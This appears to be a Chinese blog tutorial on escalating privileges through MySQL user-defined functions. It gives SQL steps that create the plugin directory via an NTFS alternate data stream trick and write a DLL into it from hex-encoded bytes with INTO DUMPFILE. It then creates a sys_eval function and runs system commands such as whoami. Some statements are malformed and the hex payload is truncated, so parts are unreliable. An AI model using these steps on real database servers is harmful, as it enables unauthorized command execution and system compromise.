mysql udf提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充。原理是添加一个能执行系统命令的函数。
 
前提
secure_file_priv为空,支持导入导出
show global variables like ‘secure%‘;
 
一、导入udf.dll
  • 当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
  • 当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
只能执行sql语句环境下,创建plugin目录的方式
select @@basedir; //查找到mysql的目录 
select It is dll into dumpfile C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION; //利用NTFS ADS创建lib目录 
select It is dll into dumpfile C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION; //利用NTFS ADS创建plugin目录

 

 

 
手工导入
create table temp(data longblob); 
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000); 
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); 
select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; 
create function sys_eval returns string soname udf.dll; #创建函数sys_eval

 

 

 
大马导入
 
mysql udf提权

 

 


 

 

 
udf.php导入
mysql udf提权

 

二、执行命令
 
create function sys_eval returns string soname "udf.dll"; 
select sys_eval("whoami");

 



mysql udf提权

上一篇:五.MySQL安装:二进制离线安装脚本(5.6版本)


下一篇:学习笔记TF062:TensorFlow线性代数编译框架XLA